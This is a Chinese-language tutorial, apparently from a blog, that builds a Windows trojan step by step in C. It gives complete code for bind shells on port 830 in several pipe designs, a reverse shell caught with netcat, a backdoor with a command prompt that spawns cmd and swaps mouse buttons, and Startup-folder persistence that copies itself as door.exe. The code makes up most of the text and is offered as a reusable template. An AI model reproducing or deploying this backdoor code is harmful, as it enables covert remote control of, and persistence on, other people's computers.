我们现在先考虑最早的木马:将目标主机作为服务器,打开一个端口进行监听,攻击者就可以通过telnet进行连接。
DOS功能是木马必须拥有的最小的功能模块。那么我们现在的任务就是:1. 开创 cmd.exe 进程;2. 把 cmd 进程和客户的输入连起来。那么接下来介绍一下我们所需要的的函数:
CreateProcess函数
BOOL CreateProcess(
LPCTSTR IpApplicationName,
LPTSTR IpCommandLine,
LPSECURITY_ATTRIBUTES IpProcessAttributes,
LPSECURITY_ATTRIBUTES IpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID IpEnvironment,
LPCTSTR IpCurrentDirectory,
LPSTARTUPINFO IpStartupInfo,
LPPROCESS_INFORMATION IpProcessInformation
);
参数 | 含义 |
---|---|
IpApplicationName | 指向包含要运行的EXE程序名 |
IpCommandLine | 如果要执行DOS命令,指向命令行字符串 |
IpProcessAttributes | 进程的安全属性 |
IpThreadAttributes | 描述进程初始线程(主线程)的安全属性 |
bInheritHandles | 表示子进程(被创建的进程)是否可以继承父进程的句柄 |
dwCreationFlags | 表示创建进程的优先级列表和进程的类型,分Idle,Normal,High,Real_time四个类别 |
IpEnvironment | 指向环境变量块,环境变量可以被子进程继承 |
IpCurrentDirectory | 表示当前运行目录 |
IpStartupInfo | 指向StartupInfo结构,控制进程的主窗口的出现方式 |
IpProcessInformation | 指向PROCESS_INFORMATION结构,用来存储返回的进程信息 |
type struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION;
这个函数参数好多啊~不过好在使用的时候我们大部分都只是填写NULL,0或1,用的多了自然就习惯了,下面先给一个例子来熟悉一下这个函数的使用 ~
#include
#include
int main() {
PROCESS_INFORMATION ProcessInfomation;
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
CreateProcess(NULL, // 不是执行exe文件,设为NULL
"cmd.exe", // 执行dos命令
NULL, // 进程安全属性设置为NULL
NULL, // 线程安全属性设置为NULL
1, // 子进程可继承父进程的句柄
0, // 优先级设置为0
NULL, // 环境变量块设为NULL
NULL, // 当前运行目录设为NULL
&si, // 主窗口的出现方式设置
&ProcessInfomation); // 存储返回的进程信息
return 0;
}
现在我们第一个任务已经完成了,那么现在创建好了 cmd 进程,可是怎么与客户端通信呢,这就涉及到进程间的通信问题了。
进程间通信(IPC)机制是指同一台计算机的不通进程之间,或在网络上不同计算机的进程之间的通信。Windows 下的方法包括邮槽(Mailslot)、管道(Pipes)、事件(Events)、文件映射(FileMapping)等。我们在这里使用匿名管道。管道分为匿名管道和有名管道,匿名管道相对要简单得多。匿名管道是单向的,所以为了实现通信,我们要设置两个管道。匿名管道由CreatePipe()函数创建,管道有读句柄和写句柄,分别作为输入和输出。
BOOL CreatePipe(
PHANDLE hReadPipe, // 管道的读句柄
PHANDLE hWritePipe, // 管道的写句柄
LPSECURITY_ATTRIBUTES IpPipeAttributes, // 管道属性结构的指针
DWORD nSize // 设置管道缓冲区大小,0设为默认值
);
如果函数执行成功,返回非0值;如果失败,返回0。
现在管道建立起来以后,还需要有函数能读写缓冲区,和查看缓冲区中是否有内容。
// PeekNamePipe函数读取出数据,但不从pipe中移除,可以用于判断管道中是否有数据
BOOL PeekNamePipe(
HANDLE hNamePipe, // 要检查管道的读句柄
LPVOID IpBuffer, // 读取句柄里数据的缓冲区
DWORD nBuffSize, // 缓冲区的大小
LPDWORD IpBytesRead, // 返回实际读取数据的字节数
LPDWORD IpTotalBytesAvail, // 返回读取数据的粽子节数
LPDWORD IpBytesLeftThisMessage // 返回该消息中剩余的字节数,匿名管道可以是0
);
BOOL ReadFile(
HANDLE hFile, // 要读取的句柄
LPVOID IpBuffer, // 为接收数据的缓冲区
DWORD nNumberOfBytesToRead, // 要读取的字节数
LPWORD IpNumberOfBytesRead, // 实际读取的字节数
LPOVERLAPPED IpOverlapped // 指向OVERLAPPED结构
);
BOOL ReadFile(
HANDLE hFile, // 要写入的句柄
LPCVOID IpBuffer, // 为写入数据的缓冲区
DWORD nNumberOfBytesToWrite,// 要写入的字节数
LPWORD IpNumberOfBytesWritten,// 实际写入的字节数
LPOVERLAPPED IpOverlapped // 指向OVERLAPPED结构
);
现在我们工具都已经有了,那么下面就是组装了。我们需要建立两个管道,一个用于读取cmd返回的结果,另一个用于向 cmd 写入命令。假设我们管道1用于读取 cmd 的返回信息,那么我们就需要把 cmd 子进程的输出句柄与管道的写句柄绑定;管道2用于写入 cmd 命令,我们把 cmd 子进程的输入句柄与管道的读句柄绑定。我们从攻击者主机获得的字符串写入管道2,那么 cmd 子进程就可以通过管道的读句柄读取到其中的命令,结果的返回也是一样的道理。
下面就是组装的代码了。
#include
#include
#include
#include
#include
int main() {
int ret;
// 初始化 Windows Socket Dll
WSADATA ws;
WSAStartup(MAKEWORD(2, 2), &ws);
// 建立 socket
SOCKET listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// 监听本主机 830 端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr = ADDR_ANY;
// 绑定 socket
ret = bind(listenFD, (struct sockaddr*)&server, sizeof(server));
ret = listen(listenFD, 2);
// 如果客户端请求830端口,接受连接
int iAddrSize = sizeof(struct sockaddr);
struct sockaddr_in client;
SOCKET clientFD = accept(listenFD, (struct sockaddr*)&client, &iAddrSize);
char client_addr[20];
sprintf(client_addr, "%d.%d.%d.%d",
client.sin_addr.s_addr&0xff,
(client.sin_addr.s_addr>>8)&0xff,
(client.sin_addr.s_addr>>16)&0xff,
(client.sin_addr.s_addr>>24)&0xff);
printf("Connected! Client IP: %s:%d\n", client_addr, client.sin_port);
// 定义管道所需的读写句柄和管道属性
HANDLE hReadPipe1, hWritePipe1;
HANDLE hReadPipe2, hWritePipe2;
SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
// 建立两个管道,管道1用于输出cmd子进程的结果
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);
pipeattr2.nLength = 12;
pipeattr2.lpSecurityDescriptor = 0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
// 将子进程 cmd 的输入输出句柄重定向到管道的读写句柄
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd";
// 建立进程
CreateProcess(NULL, // 不是执行 exe 文件,设置为NULL
cmdLine, // 执行的 dos 命令为 cmd.exe
NULL, // 进程安全属性为NULL
NULL, // 线程安全属性为NULL
1, // 子进程可继承父进程的句柄
0, // 优先级设为0
NULL, // 环境变量块设为NULL
NULL, // 当前运行目录设置为NULL
&si, // 主窗口的出现方式
&ProcessInformation); // 存储返回的进程信
Sleep(100);
unsigned long IByteRead;
char Buff[1024];
while (true) {
ZeroMemory(Buff, sizeof(Buff));
// 检查管道1,即cmd的进程是否有输出
ret = PeekNamedPipe(hReadPipe1, // 检查管道1的读句柄
Buff, // 存储缓冲区
1024, // 缓冲区大小
&IByteRead, // 返回实际读取字节数
0, // 读取的粽子节数,设为0
0); // 返回该消息剩余的字节数,对匿名管道可以是0
printf("检测缓冲区存有字节数为:%ul\n", IByteRead);
if (IByteRead) {
// 管道1有输出,读出Pipe1的输出结果
ret = ReadFile(hReadPipe1, // 读取管道1的读句柄
Buff, // 读取数据保存缓冲区
IByteRead, // 要读取的字节数
&IByteRead, // 实际读取的字节数
0); // 指向 OVERLAPPED 结构设为NULL
// ret返回值为0则读取失败
if (!ret) break;
// 读取数据后发送给远程控制机
ret = send(clientFD, Buff, IByteRead, 0);
if (ret <= 0) break;
} else {
// 否则,接收远程客户机的命令
// printf("Receiving...\n");
IByteRead = recv(clientFD, Buff, 1024, 0);
// printf("接受到客户端的数据字节数为: %d\n", strlen(Buff));
if (IByteRead <= 0) break ;
// 将命令写入管道写入管道2,即传给cmd进程
ret = WriteFile(hWritePipe2, // 写入管道2的写句柄
Buff, // 存的是远程客户机发送过来的命令
IByteRead, // 客户机发送过来命令的长度
&IByteRead, // 返回实际写入的长度
0); // 指向 OVERLAPPED 结构设为 NULL
if (IByteRead == 2 && (Buff[0] == 13 && Buff[1] == 10)) {
// 输入的是回车,等待结果
Sleep(100);
}
if (!ret) break ;
}
}
return 0;
}
我们执行程序,并打开 cmd,使用telnet 127.0.0.1 830进行连接。当然如果可以的话,可以自己开一个热点,使用两台电脑,然后使用对方的 ip 也是可以的。
注:telnet 当用户每输入一个字符,telnet 就会将输入的字符传输到目标主机。这样也是为了保证数据的实时传输。所以在我们接收到客户端的数据时,有时候需要做一定的处理,一定要注意这一点,有时候不注意的话可能会产生预料外的错误,或者显示错误。
这个代码看起来是不是太长了,因为使用了两个管道,我们需要更多的操作来处理管道。那么有没有什么办法来减少管道呢,当然是有的。还记得嘛,在创建进程函数的参数中,第二个可以设置 DOS 命令,我们也可以将客户端传来的数据组装成一条 DOS 命令,每次都创建一个进程来执行。这样我们就只需要一个管道来接收 cmd 子进程的返回结果了,因为传入的命令已经在进程创建时直接传入了。有了这样的思路了,那就可以进行实现了,下面给出参考代码:
#include
#include
#include
#include
#include
int main() {
int ret;
// 初始化 Windows Socket Dll
WSADATA ws;
WSAStartup(MAKEWORD(2, 2), &ws);
// 建立 socket
SOCKET listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// 监听本主机 830 端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr = ADDR_ANY;
// 绑定 socket
ret = bind(listenFD, (struct sockaddr*)&server, sizeof(server));
ret = listen(listenFD, 2);
// 如果客户端请求830端口,接受连接
int iAddrSize = sizeof(struct sockaddr);
struct sockaddr_in client;
SOCKET clientFD = accept(listenFD, (struct sockaddr*)&client, &iAddrSize);
char client_addr[20];
sprintf(client_addr, "%d.%d.%d.%d",
client.sin_addr.s_addr&0xff,
(client.sin_addr.s_addr>>8)&0xff,
(client.sin_addr.s_addr>>16)&0xff,
(client.sin_addr.s_addr>>24)&0xff);
printf("Connected! Client IP: %s:%d\n", client_addr, client.sin_port);
// 定义管道所需的读写句柄和管道属性
HANDLE hReadPipe1, hWritePipe1;
SECURITY_ATTRIBUTES pipeattr1;
// 管道1用于输出cmd子进程的结果
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
// 将子进程 cmd 的输入输出句柄重定向到管道的读写句柄
//si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[200] = "cmd.exe /c ";
unsigned long IByteRead;
char Buff[1024];
while (true) {
ZeroMemory(Buff, sizeof(Buff));
// 检查管道1,即cmd的进程是否有输出
ret = PeekNamedPipe(hReadPipe1, // 检查管道1的读句柄
Buff, // 存储缓冲区
1024, // 缓冲区大小
&IByteRead, // 返回实际读取字节数
0, // 读取的粽子节数,设为0
0); // 返回该消息剩余的字节数,对匿名管道可以是0
// printf("检测缓冲区存有字节数为:%ul\n", IByteRead);
if (IByteRead) {
// 管道1有输出,读出Pipe1的输出结果
ret = ReadFile(hReadPipe1, // 读取管道1的读句柄
Buff, // 读取数据保存缓冲区
IByteRead, // 要读取的字节数
&IByteRead, // 实际读取的字节数
0); // 指向 OVERLAPPED 结构设为NULL
// ret返回值为0则读取失败
if (!ret) break;
// 读取数据后发送给远程控制机
ret = send(clientFD, Buff, IByteRead, 0);
if (ret <= 0) break;
// 如果已经把管道中的数据全部读取出来,则开始重新组装命令
strcpy(cmdLine, "cmd.exe /c ");
} else {
// 否则,接收远程客户机的命令
// printf("Receiving...\n");
IByteRead = recv(clientFD, Buff, 1024, 0);
// printf("接受到客户端的数据字节数为: %d: %d, %d\n", strlen(Buff), Buff[0], Buff[1]);
if (IByteRead <= 0) break ;
strncat(cmdLine, Buff, IByteRead);
// printf("cmdLine: %s", cmdLine);
// 以命令为参数,启动 cmd 执行
if (IByteRead == 2 && (Buff[0] == 13 && Buff[1] == 10)) {
CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
Sleep(100);
}
// if (!ret) break ;
}
}
return 0;
}
该程序的使用和双通道木马是相同的,也需要 telnet 连接。但是这个有一点缺陷,本人电脑上运行时没有提示界面,纯黑屏,所以不便使用。
严格上来说,零管道并不是说不用管道,而是不需要我们新创建管道。我们直接用 socket 句柄代替 cmd 子进程的输入输出句柄,如
si.hStdInput = si.hStdError = si.hStdOutput = (void*)clientFD;
这样替换后,cmd 的输入输出就可以直接和远程通信了,省去了进程间传递的所有东西。但是这里使用的 socket 描述符和之前创建的不一样,需要使用 WSASocket函数创建。
SOCKET WSASocket(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO IpProtocolInfo, // 指向 WSAPROTOCOL_INFO 结构的指针
GROUP g, // 保留字段不使用
DWORD dwFlags // 指定 socket 属性的 flag
);
这样建立的 socket 才能进行替换。因为该函数建立的是费重叠套接字,可以直接将 cmd 子进程的 stdin,stdout,stderr 转向套接字上。接下来给出参考代码看一下具体是怎么实现的:
// @toc 零管道木马
// @author Steve Curcy
// @dev 直接将 cmd 的stdin, stdout, stderr 转到套接字上
// @dev 使用 WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)
// @dev 必须创建非重叠套接字
#include
#include
#include
int main() {
int ret;
// 初始化 Window Socket Dll
WSADATA ws;
WSAStartup(MAKEWORD(2, 2), &ws);
// 创建 socket
SOCKET listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
// 绑定并监听830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr = ADDR_ANY;
ret = bind(listenFD, (struct sockaddr*)&server, sizeof(server));
ret = listen(listenFD, 2);
// 如果客户请求,接受连接
struct sockaddr_in client;
int iAddrSize = sizeof(struct sockaddr);
SOCKET clientFD = accept(listenFD, (struct sockaddr*)&client, &iAddrSize);
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput = si.hStdError = si.hStdOutput = (void*)clientFD;
char cmdLine[] = "cmd.exe";
// 建立进程
ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
TerminateProcess(ProcessInformation.hProcess, 0);
CloseHandle(ProcessInformation.hProcess);
printf("done!\n");
return 0;
}
零管道编写编写的确比较方便,但是一旦用户输入命令,就直接进入 cmd 进程执行了,有时候我们希望能先处理一下用户输入的命令,这就需要使用双管道或者单管道的方式了,但是单管道执行连续命令时又不大方便,所以我们需要根据实际需要来进行代码的编写。
不管是以上说到的零管道还是单双管道,都是以目标主机为服务器,但是如果目标主机开启了防火墙,那么这个服务启动就失败了,我们的木马也就失效了。所以,随着时间的推移,反弹木马也登上了历史的舞台。也就是,我们将自己(攻击者)作为服务器,持续监听,将目标主机作为客户端,一旦木马被触发,我们就会获得一个 cmd shell 。我们这里以零管道为例,目标主机主动连接攻击者,连接后,我们就将 cmd 的输入和输出句柄都设置为客户端的套接字描述符,借助本机的 socket 发给攻击者的 socket。下面给出具体实现的代码:
// @toc 反弹木马 将攻击者当做服务器,被攻击者主动进行连接
// @author SteveCurcy
// @dev 这里使用零管道方式,其他方式思想相同,实现类似
// @dev 攻击者使用 netcat 进行监听,命令为 nc -l -p 830
#include
#include
#include
int main() {
int ret;
// 初始化 Window Socket DLL
WSADATA ws;
WSAStartup(MAKEWORD(2, 2), &ws);
// 创建 Socket
SOCKET clientFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
// 连接攻击者 830 端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
// 反向连接
connect(clientFD, (struct sockaddr*)&server, sizeof(server));
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;
// 初始化为零
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdError = si.hStdInput = si.hStdOutput = (void*)clientFD;
char cmdLine[] = "cmd.exe";
// 建立进程
ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
return 0;
}
编写完代码之后先别急着执行,先有请我们的重要工具“netcat”,用 nc -l -p 830 监听本机的830端口,当目标主机触发了木马程序的时候,我们这里就会弹出一个 DOS shell 了。但是 Windows10 并不自带这个工具,可以来这里地方下载(提取码:go7w)。下载完成后,解压,其中有一个 nc.exe ,可以打开命令行直接使用
.\nc.exe -l -p 830
来对本机的830进行监听,与上述命令是相同的效果。这样反弹木马就算是制作完成了。
可是这样,我们并没有办法自由的调用 DOS,下一步我们就要做一个木马功能的增强和扩展了。也就是,我们调用了 cmd 之后还可以重新退回到木马程序执行其他的命令。
我们以在服务端的木马为例,那么前一部分代码,监听和接收连接就不再赘述。后面主要的代码就是对 recv 函数收到的命令进行分析和执行。又以为前面说到,telnet 是每输入一个字符就会传到服务器,那么我们就可以相应的,每得到一个字符就当做一个命令进行判断。至于判断的方式 switch case,if else 都是可以的,这里因为只是对字符进行判断,所以使用 switch case 结构会更简便一些。
那么既然是木马程序,我们可以加入一点控制主机操作的元素,比如交换鼠标的左右键。(手动狗头)这个需要 SwapMouseButton 函数,参数为 1 时交换鼠标设置,为 0 时恢复鼠标设置。
当然,除了应有的功能,一份帮助文档也是很有必要的,不只是为了可能的木马用户,如果命令多了,自己也有可能会记不清,这里使用 ‘?’ 来返回一个捡漏的帮助文档。
还缺什么功能嘛?当然,如果给你的一个窗口没有关闭键,我想换谁都会抓狂的吧,打开是打开了,怎么关呢。那么我们理所应当给我们的木马程序加一个退出的命令,除此之外,有时候我们其实并不想完全退出程序,而是暂时停止与此主机的连接转而查看另一台主机呢?所以我们应该加一条断开连接的命令,断开后继续监听,方便我们后续再次连接木马程序。
这样看来,一个木马的雏形算是基本完成了。程序虽小,还很简陋,但是五脏俱全,那么下面就放出我们的代码:
// @toc 初步后门
// @author SteveCurcy
// @dev 一个木马不仅需要提供 DOS Shell,还要有自己的操作
// @dev 这里以服务端木马为例,进一步编写木马功能
// @dev 通过攻击者传过来的命令进行执行
// @dev 一个成熟的软件,都有详细的帮助文档来方便用户使用
// @dev 需要有与木马断开连接的命令,和退出木马程序的命令
#include
#include
#include
int main() {
int ret; // returned value
// 初始化 Windows Socket DLL
WSADATA ws;
WSAStartup(MAKEWORD(2, 2), &ws);
// 创建 Socket
SOCKET serverFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// 监听830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr = ADDR_ANY;
ret = bind(serverFD, (struct sockaddr*)&server, sizeof(server));
ret = listen(serverFD, 2);
ag:
// 接受攻击者的请求
struct sockaddr_in client;
int iAddrSize = sizeof(client);
SOCKET clientFD = accept(serverFD, (struct sockaddr*)&client, &iAddrSize);
// 接受命令并作出响应
char Buff[1024];
while (true) {
int IByteRead = recv(clientFD, Buff, 1024, 0);
if (IByteRead <= 0) break ;
switch(Buff[0]) {
case 'x': SwapMouseButton(1); break; // 交换按键
case 'r': SwapMouseButton(0); break; // 恢复按键
case 'q': closesocket(clientFD); goto ag; // 退出链接,可再次连接
case 'e': closesocket(clientFD); closesocket(serverFD); exit(0); // 退出木马程序
case '?': send(clientFD, "? x r q e", sizeof("? x r q e"), 0);
}
}
return 0;
}
这代码就简单的多了吧,可是总觉得少点什么啊…emmm,就是我们刚开始写的 dos 命令的部分,我们还没有,我们下面就应该考虑如何调出一个 cmd 了。
虽然我们可以直接写出程序来实现所有想要的 DOS 命令,但是没有必要,现成的命令,最好还是交给系统来执行以减少我们的工作量。那我们就可以用到我们之前学到的知识,采用零管道的方式创建一个 cmd 子进程,一直等待 cmd 得到 exit 退出(或者被结束)后才继续我们的木马程序。为此我们需要使用 WaitForSingleObject 函数来将木马程序阻塞,一直等待 cmd 结束再继续执行。等待 cmd 完成之后,杀掉 cmd 进程,关闭进程句柄,就可以安全的返回我们的木马程序的结界了。废话不多说,直接上代码:
// @toc cmd shell 自由切换
// @author SteveCurcy
// @dev 本代码在 BackDoor1.cpp 的基础上改进而成
// @dev 在原本基础上,增加了绑定 cmd 的功能,以及退出
#include
#include
#include
void cmdShell(SOCKET target) {
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput = si.hStdError = si.hStdOutput = (void*)target;
char cmdLine[] = "cmd.exe /k";
// 建立进程
int ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
WaitForSingleObject(ProcessInformation.hProcess, INFINITE); // 无线等待 cmd 子进程,直到 cmd 结束(exit退出)
TerminateProcess(ProcessInformation.hProcess, 0); // 杀死 cmd 进程
CloseHandle(ProcessInformation.hProcess); // 关闭进程句柄
}
int main() {
int ret; // returned value
// 初始化 Windows Socket DLL
WSADATA ws;
WSAStartup(MAKEWORD(2, 2), &ws);
// 创建 Socket
SOCKET serverFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
// 监听830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr = ADDR_ANY;
ret = bind(serverFD, (struct sockaddr*)&server, sizeof(server));
ret = listen(serverFD, 2);
ag:
// 接受攻击者的请求
struct sockaddr_in client;
int iAddrSize = sizeof(client);
SOCKET clientFD = accept(serverFD, (struct sockaddr*)&client, &iAddrSize);
// 接受命令并作出响应
char Buff[1024], command[1024];
while (true) {
int IByteRead = recv(clientFD, Buff, 1024, 0);
if ( IByteRead == SOCKET_ERROR || IByteRead <= 0 ) break ;
switch(Buff[0]) {
case 'x': SwapMouseButton(1); break; // 交换按键
case 'r': SwapMouseButton(0); break; // 恢复按键
case 'q': closesocket(clientFD); goto ag; // 退出链接,可再次连接
case 'e': closesocket(clientFD); closesocket(serverFD); exit(0); // 退出木马程序
case '?': send(clientFD, "? x r q e s", sizeof("? x r q e s"), 0);
case 's': cmdShell(clientFD); send(clientFD, "Shell OK!", sizeof("Shell OK!"), 0); break;
}
}
return 0;
}
但是,这样的界面还是太不美观了,我们还需要改进。为此我们可以添加一个提示符,比如 ‘door>’,此外,现在使用的命令都是单个的字符,我们可以判断,将客户发来的字符先存储下来;当客户端发来回车时,说明已经输入完一条完整的命令,那么就将命令交给 cmd 执行。注意,我们桥下回车实际上是发送了两个字符,即 ‘\r’, ‘\n’ 那么我们对此进行判断就可以了。我们增长了命令的长度,比较的时候就可以使用字符串的比较函数 strcmp 了,并且我们在进一步完善命令的同时,我们也将帮助信息进一步完善。就得到一个比较像样的简单的木马程序,以后的木马程序的开发可以基于此来进行,将此作为一个模板。下面来看最终的代码:
// @toc 模板 = 木马
// @author SteveCurcy
// @dev 本代码在 BackDoor2.cpp 的基础上改进而成
// @dev 在原本基础上,改善界面,用户输入长命令以及提示符
#include
#include
#include
#include
void cmdShell(SOCKET target) {
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput = si.hStdError = si.hStdOutput = (void*)target;
char cmdLine[] = "cmd.exe /k";
// 建立进程
int ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
TerminateProcess(ProcessInformation.hProcess, 0);
CloseHandle(ProcessInformation.hProcess);
}
int main() {
int ret; // returned value
// 初始化 Windows Socket DLL
WSADATA ws;
WSAStartup(MAKEWORD(2, 2), &ws);
// 创建 Socket
SOCKET serverFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
// 监听830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr = ADDR_ANY;
ret = bind(serverFD, (struct sockaddr*)&server, sizeof(server));
ret = listen(serverFD, 2);
ag:
// 接受攻击者的请求
struct sockaddr_in client;
int iAddrSize = sizeof(client);
SOCKET clientFD = accept(serverFD, (struct sockaddr*)&client, &iAddrSize);
send(clientFD, "Welcome to the BackDoor program!\r\nBackDoor> ", sizeof("Welcome to the BackDoor program!\nBackDoor> "), 0);
// 接受命令并作出响应
char Buff[1024], command[1024];
char help_text[] = "help --帮助命令\r\nchange --交换鼠标左右键\r\nreset --恢复鼠标默认设置\r\nquit --断开连接\r\nexit --退出木马程序\r\ncmd --调出CMD Shell\r\n";
ZeroMemory(command, sizeof(command));
while (true) {
ZeroMemory(Buff, sizeof(Buff));
int IByteRead = recv(clientFD, Buff, 1024, 0);
if ( IByteRead == SOCKET_ERROR || IByteRead <= 0 ) break ;
if ( IByteRead == 2 && (Buff[0] == 13 && Buff[1] == 10) ) {
if ( strcmp(command, "help") == 0 ) {
send(clientFD, help_text, sizeof(help_text), 0);
} else if( strcmp(command, "change") == 0 ) {
SwapMouseButton(1); // 交换按键
} else if( strcmp(command, "reset") == 0 ) {
SwapMouseButton(0); // 恢复按键
} else if( strcmp(command, "quit") == 0 ) {
closesocket(clientFD); goto ag; // 退出链接,可再次连接
} else if( strcmp(command, "exit") == 0 ) {
closesocket(clientFD); closesocket(serverFD); exit(0); // 退出木马程序
} else if( strcmp(command, "cmd") == 0 ) {
cmdShell(clientFD);
} else {
send(clientFD, "该命令不存在", sizeof("该命令不存在"), 0);
}
send(clientFD, "BackDoor> ", sizeof("BackDoor> "), 0);
ZeroMemory(command, sizeof(command));
} else {
strncat(command, Buff, IByteRead);
}
}
return 0;
}
木马的自启动有很多方式,这里只举两种最常用的方式
当 Windows 启动时,会自动打开开始菜单的启动文件夹中的所有项目。win7和win10 是有所不同的。win7的路径为:
系统盘:\Documents and Settings<用户名>\「开始」菜单\程序\启动
系统盘:\Documents and Settings\All Users\「开始」菜单\程序\启动
win10系统在此基础上做出了一定的改进,将其中的某些文件夹设置为隐藏文件夹,并在图形化界面的开始菜单中取消了启动文件夹这一项,但是在实际的文件夹中还是存在的。这虽然增强了隐蔽性,但是还是可以通过此方法添加启动项。路径如下:
C:\Users\UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
那么,了解了原理之后,我们当然还需要工具,相应的函数。首先我们要获得系统盘符,此外,我们还需要获得本文件所在的路径,函数如下:
UNIT GetSystemDirectory(
LPTSTR IpBuffer, // 存储接收到的系统安装目录
UNIT uSize // 指明缓冲区的大小
);
DWORD GetModuleFileName(
HNODULE hModule, // 获得该模块的路径;如想获得本模块的路径,则设置为NULL
LPTSTR IpFilename, // 存储获得的文件路径
DWORD nSize // 指明IPFilename的大小
);
函数已经准备完成,下面开始组装:
// @toc 启动文件夹
// @author SteveCurcy
// @dev 一个木马能否开机自动运行是保证木马有价值的前提
// @dev 本代码将使用启动文件夹的方式实现木马的开机自启动
// @dev 启动文件夹对于不同的系统位置不同,这里先讨论win10的
// @dev 启动文件夹分为用户的和系统的,用户的只针对于某一个用户,
// @dev 而系统文件夹针对整个系统,但是想要写入也需要管理员权限
// @dev 下面分别给出用户和系统启动文件夹的位置:
// @dev C:\Users\UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
// @dev C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
// @dev 在win10下,为了安全,AppData和ProgramData都是隐藏文件夹
#include
#include
int main() {
char ExeFile[MAX_PATH];
char SystemPath[MAX_PATH];
char TempPath[MAX_PATH] = "\\Users\\";
char UserName[MAX_PATH];
int ret;
unsigned long _size = MAX_PATH;
// 得到当前文件名
GetModuleFileName(NULL, // 获取EXE本身路径
ExeFile, // 路径存储的缓冲区
MAX_PATH);// 缓冲区大小
// 得到系统目录
GetSystemDirectory(SystemPath, // 系统目录存储的缓冲区
MAX_PATH); // 缓冲区的大小
GetUserName(UserName, &_size); // 获取当前用户,存储到 UserName 中
strcat(TempPath, UserName);
strcat(TempPath, "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\door.exe");
SystemPath[2] = '\0';
strcat(SystemPath, "\\Users\\74653\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\door.exe");
// printf("%s\n%s\n", SystemPath, ExeFile);
ret = CopyFile(ExeFile, TempPath, FALSE); // 把 EXEFile 文件文件复制到 TempPath, FALSE 指明有同名则强制覆盖
if (ret == 0) {
printf("Failed!");
}
return 0;
}
